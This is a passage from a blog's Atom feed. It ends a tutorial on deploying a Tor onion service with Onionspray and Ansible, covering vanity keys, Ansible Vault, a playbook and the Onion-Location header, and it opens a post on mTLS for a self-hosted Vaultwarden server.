&lt;p&gt;Now, at a glance, readers can tell that this is probably the right &lt;code&gt;.onion&lt;&#x2F;code&gt; address for &lt;code&gt;zoug.fr&lt;&#x2F;code&gt;. However, like discussed earlier, it’s easy for anyone to generate another &lt;code&gt;.onion&lt;&#x2F;code&gt; address that starts with &lt;code&gt;zougfr&lt;&#x2F;code&gt;. A great protection from being phished this way is to also look at &lt;strong&gt;the last characters&lt;&#x2F;strong&gt; of the address. If an attacker tries to generate a &lt;code&gt;zougfr&lt;&#x2F;code&gt; hash &lt;strong&gt;which also ends in &lt;code&gt;m6byd&lt;&#x2F;code&gt;&lt;&#x2F;strong&gt;, like mine, it becomes &lt;strong&gt;a lot&lt;&#x2F;strong&gt; harder.&lt;&#x2F;p&gt;
&lt;p&gt;We can take a quick look at the generated files:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cmd&quot; class=&quot;language-cmd z-code&quot;&gt;&lt;code class=&quot;language-cmd&quot; data-lang=&quot;cmd&quot;&gt;&lt;span class=&quot;z-source z-dosbatch&quot;&gt;file zougfr*&#x2F;*
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;div class=&quot;crt scanlines&quot; aria-hidden=&quot;true&quot;&gt;
	&lt;pre class=&quot;z-code&quot;&gt;&lt;code&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;zougfr[...]m6byd.onion&#x2F;hostname:              ASCII text
&lt;&#x2F;span&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;zougfr[...]m6byd.onion&#x2F;hs_ed25519_public_key: data
&lt;&#x2F;span&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;zougfr[...]m6byd.onion&#x2F;hs_ed25519_secret_key: data
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;

&lt;&#x2F;div&gt;
&lt;p&gt;The &lt;code&gt;hostname&lt;&#x2F;code&gt; file contains the address, and the corresponding public and secret keys to that hash are saved as binary data. The name of these keys, &lt;code&gt;ed25519&lt;&#x2F;code&gt;, tells us more about the exact encryption algorithm used, namely &lt;a href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;EdDSA&quot;&gt;EdDSA&lt;&#x2F;a&gt;. Onionspray and the role expect the values as Base64 strings, that you can obtain by doing:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cmd&quot; class=&quot;language-cmd z-code&quot;&gt;&lt;code class=&quot;language-cmd&quot; data-lang=&quot;cmd&quot;&gt;&lt;span class=&quot;z-source z-dosbatch&quot;&gt;base64 hs_ed25519_public_key &lt;span class=&quot;z-keyword z-operator z-redirection z-dosbatch&quot;&gt;&amp;gt;&lt;&#x2F;span&gt; hs_ed25519_public_key_base64
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-dosbatch&quot;&gt;base64 hs_ed25519_secret_key &lt;span class=&quot;z-keyword z-operator z-redirection z-dosbatch&quot;&gt;&amp;gt;&lt;&#x2F;span&gt; hs_ed25519_secret_key_base64
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;deploy-an-onion-service-using-onionspray-and-ansible&quot;&gt;Deploy an onion service using Onionspray and Ansible&lt;&#x2F;h1&gt;
&lt;p&gt;We now have everything we need to deploy our onion service. Next step: using &lt;strong&gt;Ansible&lt;&#x2F;strong&gt; and &lt;strong&gt;the Onionspray Ansible role&lt;&#x2F;strong&gt; to handle the installation of Onionspray and its configuration for us.&lt;&#x2F;p&gt;
&lt;blockquote class=&quot;markdown-alert-tip&quot;&gt;
&lt;p&gt;First, a quick word about &lt;strong&gt;Ansible&lt;&#x2F;strong&gt;: a very (very) popular tool to administer servers of all kinds. What’s particularly nice about it is that 1) pretty much everyone uses it, so you’ll find a lot of documentation online, and 2) you can use at lot of Ansible collections and roles, written by the community, to configure your server(s) automatically.&lt;&#x2F;p&gt;
&lt;p&gt;I won’t go into more details here, but you’ll easily find a lot of tutorials online if this is your first time with the tool. I’d recommend following the official &lt;a href=&quot;https:&#x2F;&#x2F;docs.ansible.com&#x2F;ansible&#x2F;latest&#x2F;getting_started&#x2F;index.html&quot;&gt;Getting started&lt;&#x2F;a&gt; guide, which will leave you with a working &lt;strong&gt;inventory&lt;&#x2F;strong&gt; and a first &lt;strong&gt;playbook&lt;&#x2F;strong&gt; to use, the only two things we’ll need going forward.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h2 id=&quot;onionspray-ansible-role&quot;&gt;Onionspray Ansible role&lt;&#x2F;h2&gt;
&lt;p&gt;The role is available on &lt;a href=&quot;https:&#x2F;&#x2F;galaxy.ansible.com&#x2F;ui&#x2F;standalone&#x2F;roles&#x2F;torproject&#x2F;onionspray&#x2F;&quot;&gt;Ansible Galaxy&lt;&#x2F;a&gt;. You can get it by running:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cmd&quot; class=&quot;language-cmd z-code&quot;&gt;&lt;code class=&quot;language-cmd&quot; data-lang=&quot;cmd&quot;&gt;&lt;span class=&quot;z-source z-dosbatch&quot;&gt;ansible-galaxy role install torproject.onionspray
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;div class=&quot;crt scanlines&quot; aria-hidden=&quot;true&quot;&gt;
	&lt;pre class=&quot;z-code&quot;&gt;&lt;code&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;Starting galaxy role install process
&lt;&#x2F;span&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;- downloading role &amp;#39;onionspray&amp;#39;, owned by torproject
&lt;&#x2F;span&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;- downloading role from https:&#x2F;&#x2F;github.com&#x2F;torproject&#x2F;onionspray-role&#x2F;archive&#x2F;3.0.0.tar.gz
&lt;&#x2F;span&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;- extracting torproject.onionspray to &#x2F;home&#x2F;user&#x2F;.ansible&#x2F;roles&#x2F;torproject.onionspray
&lt;&#x2F;span&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;- torproject.onionspray (3.0.0) was installed successfully
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;

&lt;&#x2F;div&gt;
&lt;p&gt;We’ll start by configuring a couple of options for Onionspray, by defining Ansible variables for the host. Keep in mind a lot more is possible through &lt;a href=&quot;https:&#x2F;&#x2F;gitlab.torproject.org&#x2F;tpo&#x2F;onion-services&#x2F;ansible&#x2F;onionspray-role&#x2F;-&#x2F;blob&#x2F;main&#x2F;defaults&#x2F;main.yml&quot;&gt;the role’s variables&lt;&#x2F;a&gt; and &lt;a href=&quot;https:&#x2F;&#x2F;onionservices.torproject.org&#x2F;apps&#x2F;web&#x2F;onionspray&#x2F;guides&#x2F;using&#x2F;&quot;&gt;Onionspray’s settings&lt;&#x2F;a&gt;. A minimal config that should suit most needs is:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;yaml&quot; class=&quot;language-yaml z-code&quot;&gt;&lt;code class=&quot;language-yaml&quot; data-lang=&quot;yaml&quot;&gt;&lt;span class=&quot;z-source z-yaml&quot;&gt;&lt;span class=&quot;z-entity z-other z-document z-begin z-yaml&quot;&gt;---&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-yaml&quot;&gt;&lt;span class=&quot;z-comment z-line z-number-sign z-yaml&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-comment z-line z-number-sign z-yaml&quot;&gt;#&lt;&#x2F;span&gt; host_vars&#x2F;my-onion-service.yml
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-yaml&quot;&gt;&lt;span class=&quot;z-string z-unquoted z-plain z-out z-yaml&quot;&gt;&lt;span class=&quot;z-entity z-name z-tag z-yaml&quot;&gt;onionspray_projects&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-key-value z-mapping z-yaml&quot;&gt;:&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-yaml&quot;&gt;  &lt;span class=&quot;z-punctuation z-definition z-block z-sequence z-item z-yaml&quot;&gt;-&lt;&#x2F;span&gt; &lt;span class=&quot;z-string z-unquoted z-plain z-out z-yaml&quot;&gt;&lt;span class=&quot;z-entity z-name z-tag z-yaml&quot;&gt;name&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-key-value z-mapping z-yaml&quot;&gt;:&lt;&#x2F;span&gt; &lt;span class=&quot;z-string z-quoted z-double z-yaml&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-yaml&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;zougfr&lt;span class=&quot;z-punctuation z-definition z-string z-end z-yaml&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-yaml&quot;&gt;    &lt;span class=&quot;z-string z-unquoted z-plain z-out z-yaml&quot;&gt;&lt;span class=&quot;z-entity z-name z-tag z-yaml&quot;&gt;hardmaps&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-key-value z-mapping z-yaml&quot;&gt;:&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-yaml&quot;&gt;      &lt;span class=&quot;z-punctuation z-definition z-block z-sequence z-item z-yaml&quot;&gt;-&lt;&#x2F;span&gt; &lt;span class=&quot;z-string z-unquoted z-plain z-out z-yaml&quot;&gt;&lt;span class=&quot;z-entity z-name z-tag z-yaml&quot;&gt;upstream_address&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-key-value z-mapping z-yaml&quot;&gt;:&lt;&#x2F;span&gt; &lt;span class=&quot;z-string z-unquoted z-plain z-out z-yaml&quot;&gt;zoug.fr&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-yaml&quot;&gt;        &lt;span class=&quot;z-string z-unquoted z-plain z-out z-yaml&quot;&gt;&lt;span class=&quot;z-entity z-name z-tag z-yaml&quot;&gt;onion_address&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-key-value z-mapping z-yaml&quot;&gt;:&lt;&#x2F;span&gt; &lt;span class=&quot;z-string z-unquoted z-plain z-out z-yaml&quot;&gt;zougfriqn4pmip5tsujpzuj4gp4opwjehkkrksacy6iqsifm25tm6byd&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-yaml&quot;&gt;        &lt;span class=&quot;z-string z-unquoted z-plain z-out z-yaml&quot;&gt;&lt;span class=&quot;z-entity z-name z-tag z-yaml&quot;&gt;public_key_base64&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-key-value z-mapping z-yaml&quot;&gt;:&lt;&#x2F;span&gt; &lt;span class=&quot;z-string z-unquoted z-plain z-out z-yaml&quot;&gt;PT0gZWQyNTUxOXYxLXB1YmxpYzogdHlwZTAgPT0AAADLqGLFEG8exD+zlRL80Twz+OfZJDqVFUgCx5EJIKzXZg==&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-yaml&quot;&gt;        &lt;span class=&quot;z-string z-unquoted z-plain z-out z-yaml&quot;&gt;&lt;span class=&quot;z-entity z-name z-tag z-yaml&quot;&gt;secret_key_base64&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-key-value z-mapping z-yaml&quot;&gt;:&lt;&#x2F;span&gt; &lt;span class=&quot;z-string z-unquoted z-plain z-out z-yaml&quot;&gt;&amp;lt;your-Base64-encoded-secret-key-here&amp;gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;You’ll need to replace the onion address, public and secret keys above with the values &lt;a href=&quot;https:&#x2F;&#x2F;zoug.fr&#x2F;deploy-tor-onion-service-onionspray-ansible&#x2F;#generate-a-vanity-onion-address&quot;&gt;obtained previously&lt;&#x2F;a&gt;, or simply delete those three fields to use a randomly generated &lt;code&gt;.onion&lt;&#x2F;code&gt; address. In that case, you should probably run the role a first time to generate the files, then place them in your config to only ever use the same &lt;code&gt;.onion&lt;&#x2F;code&gt; address.&lt;&#x2F;p&gt;
&lt;blockquote class=&quot;markdown-alert-caution&quot;&gt;
&lt;p&gt;You should strongly consider using &lt;a href=&quot;https:&#x2F;&#x2F;docs.ansible.com&#x2F;ansible&#x2F;latest&#x2F;cli&#x2F;ansible-vault.html&quot;&gt;Ansible Vault&lt;&#x2F;a&gt; to store your secret key securely. By using a non-encrypted Base64-encoded string, you expose your onion service to impersonation if anyone gets a hold of these values.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;ansible-vault&lt;&#x2F;code&gt; should be available with Ansible, and setting it up is easy. First create a file named &lt;code&gt;ansible-vault.password&lt;&#x2F;code&gt; in your current folder, containing a strong password. I’d also recommend only allowing read access to this file from your user, and adding it to your &lt;code&gt;.gitignore&lt;&#x2F;code&gt; file if using Git:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cmd&quot; class=&quot;language-cmd z-code&quot;&gt;&lt;code class=&quot;language-cmd&quot; data-lang=&quot;cmd&quot;&gt;&lt;span class=&quot;z-source z-dosbatch&quot;&gt;chmod &lt;span class=&quot;z-constant z-numeric z-integer z-decimal z-dosbatch&quot;&gt;600&lt;&#x2F;span&gt; ansible-vault.password
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-dosbatch&quot;&gt;&lt;span class=&quot;z-keyword z-command z-dosbatch&quot;&gt;echo&lt;&#x2F;span&gt; &lt;span class=&quot;z-string z-quoted z-double z-dosbatch&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-dosbatch&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;ansible-vault.password&lt;span class=&quot;z-punctuation z-definition z-string z-end z-dosbatch&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-redirection z-dosbatch&quot;&gt;&amp;gt;&amp;gt;&lt;&#x2F;span&gt; .gitignore
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Then simply run:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cmd&quot; class=&quot;language-cmd z-code&quot;&gt;&lt;code class=&quot;language-cmd&quot; data-lang=&quot;cmd&quot;&gt;&lt;span class=&quot;z-source z-dosbatch&quot;&gt;ansible-vault encrypt_string --vault-pass-file ansible-vault.password
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;div class=&quot;crt scanlines&quot; aria-hidden=&quot;true&quot;&gt;
	&lt;pre class=&quot;z-code&quot;&gt;&lt;code&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;Reading plaintext input from stdin. (ctrl-d to end input, twice if
&lt;&#x2F;span&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;your content does not already have a newline)
&lt;&#x2F;span&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;&amp;lt;your-Base64-encoded-secret-key-here&amp;gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;Encryption successful
&lt;&#x2F;span&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;!vault |
&lt;&#x2F;span&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;          $ANSIBLE_VAULT;1.1;AES256
&lt;&#x2F;span&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;          61613[...]
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;blockquote&gt;
&lt;&#x2F;blockquote&gt;

&lt;&#x2F;div&gt;
&lt;p&gt;You now can define your variable as:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;yaml&quot; class=&quot;language-yaml z-code&quot;&gt;&lt;code class=&quot;language-yaml&quot; data-lang=&quot;yaml&quot;&gt;&lt;span class=&quot;z-source z-yaml&quot;&gt;&lt;span class=&quot;z-string z-unquoted z-plain z-out z-yaml&quot;&gt;&lt;span class=&quot;z-entity z-name z-tag z-yaml&quot;&gt;secret_key_base64&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-key-value z-mapping z-yaml&quot;&gt;:&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-property z-yaml&quot;&gt;&lt;span class=&quot;z-storage z-type z-tag-handle z-yaml&quot;&gt;!vault&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-control z-flow z-block-scalar z-literal z-yaml&quot;&gt;|&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-yaml&quot;&gt;&lt;span class=&quot;z-string z-unquoted z-block z-yaml&quot;&gt;  $ANSIBLE_VAULT;1.1;AES256
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-yaml&quot;&gt;&lt;span class=&quot;z-string z-unquoted z-block z-yaml&quot;&gt;  61613[...]
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;When running &lt;code&gt;ansible-playbook&lt;&#x2F;code&gt;, you’ll have to pass the &lt;code&gt;--vault-pass-file ansible-vault.password&lt;&#x2F;code&gt; option to access it.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;Assuming the Onionspray role is installed through Ansible Galaxy, you can now invoke it in a playbook:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;yaml&quot; class=&quot;language-yaml z-code&quot;&gt;&lt;code class=&quot;language-yaml&quot; data-lang=&quot;yaml&quot;&gt;&lt;span class=&quot;z-source z-yaml&quot;&gt;&lt;span class=&quot;z-entity z-other z-document z-begin z-yaml&quot;&gt;---&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-yaml&quot;&gt;&lt;span class=&quot;z-comment z-line z-number-sign z-yaml&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-comment z-line z-number-sign z-yaml&quot;&gt;#&lt;&#x2F;span&gt; my-playbook.yml
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-yaml&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-block z-sequence z-item z-yaml&quot;&gt;-&lt;&#x2F;span&gt; &lt;span class=&quot;z-string z-unquoted z-plain z-out z-yaml&quot;&gt;&lt;span class=&quot;z-entity z-name z-tag z-yaml&quot;&gt;name&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-key-value z-mapping z-yaml&quot;&gt;:&lt;&#x2F;span&gt; &lt;span class=&quot;z-string z-unquoted z-plain z-out z-yaml&quot;&gt;provision hosts&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-yaml&quot;&gt;  &lt;span class=&quot;z-string z-unquoted z-plain z-out z-yaml&quot;&gt;&lt;span class=&quot;z-entity z-name z-tag z-yaml&quot;&gt;hosts&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-key-value z-mapping z-yaml&quot;&gt;:&lt;&#x2F;span&gt; &lt;span class=&quot;z-string z-unquoted z-plain z-out z-yaml&quot;&gt;all&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-yaml&quot;&gt;  &lt;span class=&quot;z-string z-unquoted z-plain z-out z-yaml&quot;&gt;&lt;span class=&quot;z-entity z-name z-tag z-yaml&quot;&gt;become&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-key-value z-mapping z-yaml&quot;&gt;:&lt;&#x2F;span&gt; &lt;span class=&quot;z-constant z-language z-boolean z-yaml&quot;&gt;true&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-yaml&quot;&gt;  &lt;span class=&quot;z-string z-unquoted z-plain z-out z-yaml&quot;&gt;&lt;span class=&quot;z-entity z-name z-tag z-yaml&quot;&gt;roles&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-key-value z-mapping z-yaml&quot;&gt;:&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-yaml&quot;&gt;    &lt;span class=&quot;z-punctuation z-definition z-block z-sequence z-item z-yaml&quot;&gt;-&lt;&#x2F;span&gt; &lt;span class=&quot;z-string z-unquoted z-plain z-out z-yaml&quot;&gt;&lt;span class=&quot;z-entity z-name z-tag z-yaml&quot;&gt;role&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-key-value z-mapping z-yaml&quot;&gt;:&lt;&#x2F;span&gt; &lt;span class=&quot;z-string z-unquoted z-plain z-out z-yaml&quot;&gt;torproject.onionspray&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Then run the playbook, e.g.:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cmd&quot; class=&quot;language-cmd z-code&quot;&gt;&lt;code class=&quot;language-cmd&quot; data-lang=&quot;cmd&quot;&gt;&lt;span class=&quot;z-source z-dosbatch&quot;&gt;ansible-playbook --diff my-playbook.yml -i my-inventory.ini -l my-onion-service -K --vault-pass-file ansible-vault.password
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;The first run of the role will download and build Onionspray from source, which may take a little while. A new user, named &lt;code&gt;onionspray&lt;&#x2F;code&gt; by default, is created and runs Onionspray to serve your onion service. You can verify this by logging in as the &lt;code&gt;onionspray&lt;&#x2F;code&gt; user and querying the status of your install:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cmd&quot; class=&quot;language-cmd z-code&quot;&gt;&lt;code class=&quot;language-cmd&quot; data-lang=&quot;cmd&quot;&gt;&lt;span class=&quot;z-source z-dosbatch&quot;&gt;sudo su onionspray -s &#x2F;bin&#x2F;bash
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-dosbatch&quot;&gt;&lt;span class=&quot;z-keyword z-command z-dosbatch&quot;&gt;cd&lt;&#x2F;span&gt; ~&#x2F;onionspray&#x2F;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-dosbatch&quot;&gt;.&#x2F;onionspray status -a
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;div class=&quot;crt scanlines&quot; aria-hidden=&quot;true&quot;&gt;
	&lt;pre class=&quot;z-code&quot;&gt;&lt;code&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;:::: status zougfr ::::
&lt;&#x2F;span&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;    PID TTY      STAT   TIME COMMAND
&lt;&#x2F;span&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;3865884 ?        Sl     5:23 tor -f &#x2F;home&#x2F;onionspray&#x2F;onionspray&#x2F;projects&#x2F;zougfr&#x2F;tor.conf
&lt;&#x2F;span&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;3865889 ?        Ss     0:02 nginx: master process nginx -c &#x2F;home&#x2F;onionspray&#x2F;onionspray&#x2F;projects&#x2F;zougfr&#x2F;nginx.conf
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;

&lt;&#x2F;div&gt;
&lt;p&gt;You should now be able to open up Tor Browser, input your &lt;code&gt;.onion&lt;&#x2F;code&gt; address, and reach your onion service.&lt;&#x2F;p&gt;
&lt;h1 id=&quot;advertise-your-onion-service-with-onion-location&quot;&gt;Advertise your onion service with &lt;code&gt;Onion-Location&lt;&#x2F;code&gt;&lt;&#x2F;h1&gt;
&lt;p&gt;&lt;strong&gt;Congratulations!&lt;&#x2F;strong&gt; Your onion service is now up-and-running, and you can access it through Tor Browser. Now that you’re available on Tor, you can advertise your &lt;code&gt;.onion&lt;&#x2F;code&gt; address in various ways. The first is of course telling people about it on your website. If you want to browse &lt;code&gt;zoug.fr&lt;&#x2F;code&gt; via Tor, you can use this address:&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;zougfriqn4pmip5tsujpzuj4gp4opwjehkkrksacy6iqsifm25tm6byd.onion&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;Another way is to use the &lt;code&gt;Onion-Location&lt;&#x2F;code&gt; HTTP header (&lt;a href=&quot;https:&#x2F;&#x2F;community.torproject.org&#x2F;onion-services&#x2F;advanced&#x2F;onion-location&#x2F;&quot;&gt;docs&lt;&#x2F;a&gt;). When encountering this header, browsers with Tor capabilities can display a message with the corresponding &lt;code&gt;.onion&lt;&#x2F;code&gt; address. &lt;code&gt;Onion-Location&lt;&#x2F;code&gt; should contain the full URL of the current page visited; for &lt;a href=&quot;https:&#x2F;&#x2F;zoug.fr&#x2F;gallery&#x2F;&quot;&gt;https:&#x2F;&#x2F;zoug.fr&#x2F;gallery&#x2F;&lt;&#x2F;a&gt;, the webserver would send the following header:&lt;&#x2F;p&gt;
&lt;div class=&quot;crt scanlines&quot; aria-hidden=&quot;true&quot;&gt;
	&lt;pre class=&quot;z-code&quot;&gt;&lt;code&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;Onion-Location: https:&#x2F;&#x2F;zougfr[...]m6byd.onion&#x2F;gallery&#x2F;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;

&lt;&#x2F;div&gt;
&lt;p&gt;When receiving this header, Tor Browser will display this button on the address bar:&lt;&#x2F;p&gt;
&lt;figure&gt;
&lt;img class=&quot;no-hover&quot;alt=&quot;Tor Browser Onion-Location button&quot;src=&quot;onion-location.webp&quot;&#x2F;&gt;
&lt;figcaption&gt;Tor Browser Onion-Location button&lt;&#x2F;figcaption&gt;
&lt;&#x2F;figure&gt;
&lt;p&gt;You and your users can click the button to be redirected to the page on your onion service.&lt;&#x2F;p&gt;
&lt;p&gt;If you’re using Nginx, it’s as easy as adding the following to your configuration:&lt;&#x2F;p&gt;
&lt;pre class=&quot;z-code&quot;&gt;&lt;code&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;add_header Onion-Location https:&#x2F;&#x2F;&amp;lt;your-onion-address&amp;gt;.onion$request_uri;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;For Traefik, this feature is still a &lt;a href=&quot;https:&#x2F;&#x2F;github.com&#x2F;traefik&#x2F;traefik&#x2F;issues&#x2F;5036&quot;&gt;work in progress&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;🎉 &lt;strong&gt;Your onion service is now deployed and operational!&lt;&#x2F;strong&gt; 🎉&lt;&#x2F;p&gt;
&lt;p&gt;Thank you for making it this far! If you have anything to add or a question, you can leave a comment below.&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Mutual TLS (mTLS) in-depth: step-by-step case study feat. Bitwarden, Vaultwarden, Traefik and Smallstep</title>
        <published>2025-10-14T00:00:00+00:00</published>
        <updated>2025-10-14T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Yassine Zouggari
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://zoug.fr/mtls-bitwarden-vaultwarden-traefik-smallstep/"/>
        <id>https://zoug.fr/mtls-bitwarden-vaultwarden-traefik-smallstep/</id>
        
        <content type="html" xml:base="https://zoug.fr/mtls-bitwarden-vaultwarden-traefik-smallstep/">&lt;h1 id=&quot;foreword&quot;&gt;Foreword&lt;&#x2F;h1&gt;
&lt;p&gt;Hi there, and many thanks for being here!&lt;&#x2F;p&gt;
&lt;p&gt;This article goes on and on about password managers, mTLS and related cryptography concepts. It assumes you have a basic understanding of how &lt;strong&gt;public key cryptography&lt;&#x2F;strong&gt; works (public&#x2F;private keys and how they work together to encrypt messages), and that you know what &lt;strong&gt;TLS&lt;&#x2F;strong&gt; is (the &lt;strong&gt;S&lt;&#x2F;strong&gt; of &lt;strong&gt;HTTPS&lt;&#x2F;strong&gt;), but not much more.&lt;&#x2F;p&gt;
&lt;p&gt;You can either read the whole thing, or directly skip to &lt;a href=&quot;https:&#x2F;&#x2F;zoug.fr&#x2F;mtls-bitwarden-vaultwarden-traefik-smallstep&#x2F;#creating-our-own-ca-smallstep&quot;&gt;this section&lt;&#x2F;a&gt;, where we apply these concepts to add &lt;strong&gt;mTLS to a Vaultwarden&#x2F;Bitwarden self-hosted server&lt;&#x2F;strong&gt; (or any other web-app, really), using &lt;strong&gt;Smallstep&lt;&#x2F;strong&gt; to create our custom certificate authority and certificates, and &lt;strong&gt;Traefik&lt;&#x2F;strong&gt; as our reverse proxy.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;on-password-managers&quot;&gt;On password managers&lt;&#x2F;h2&gt;
&lt;p&gt;If you want to improve your online security, one of the very first steps you’d take, both in your private life and for work, is to use a &lt;strong&gt;password manager&lt;&#x2F;strong&gt;. These are nifty programs that make it humanely possible to set a different, strong password for every account you have online, and act as an encrypted vault for your private data.&lt;&#x2F;p&gt;
